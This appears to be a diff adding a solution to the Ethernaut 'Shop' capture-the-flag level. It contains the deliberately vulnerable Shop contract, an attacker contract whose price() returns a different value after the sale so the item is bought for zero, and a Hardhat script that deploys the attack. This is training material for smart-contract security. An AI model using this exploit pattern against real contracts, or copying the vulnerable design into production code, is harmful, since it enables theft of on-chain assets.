Challenge 21: Shop

ethernaut_challenges/contracts/21_Shop.sol

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+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+interface Buyer {
+    function price() external view returns (uint256);
+}
+
+contract Shop {
+    uint256 public price = 100;
+    bool public isSold;
+
+    function buy() public {
+        Buyer _buyer = Buyer(msg.sender);
+
+        if (_buyer.price() >= price && !isSold) {
+            isSold = true;
+            price = _buyer.price();
+        }
+    }
+}

ethernaut_challenges/contracts/21_ShopAttack.sol

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+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity ^0.6.0;
+
+import "./21_Shop.sol";
+
+contract ShopAttack {
+    Shop target;
+
+    constructor(address payable _target) public {
+        target = Shop(_target);
+    }
+
+    function buy() public {
+        target.buy();
+    }
+
+    function price() public view returns (uint256) {
+        if (target.isSold()) {
+            return 0;
+        } else {
+            return 100;
+        }
+    }
+}

ethernaut_challenges/scripts/21_shop.ts

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+import { Signer } from 'ethers'
+import { ethers } from 'hardhat'
+import { Shop } from '../typechain-types/Shop'
+import { ShopAttack } from '../typechain-types/ShopAttack'
+import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut'
+import { loadOrDeployContract } from './helpers'
+
+const levelAddress = '0x3aCd4766f1769940cA010a907b3C8dEbCe0bd4aB'
+
+const main = async () => {
+  const signer = (await ethers.getSigners())[0] as Signer
+
+  const targetContract = (await loadOrCreateLevelInstance('Shop', levelAddress, signer)) as Shop
+  const attackContract = (await loadOrDeployContract('ShopAttack', [targetContract.address], signer)) as ShopAttack
+
+  const tx = await attackContract.buy({ gasLimit: 100000 })
+  console.log(`tx hash ${tx.hash}`)
+  await tx.wait()
+
+  await submitLevelInstance(targetContract.address, signer)
+}
+
+main()
+  .then(() => process.exit())
+  .catch(e => {
+    console.error(e)
+    process.exit(1)
+  })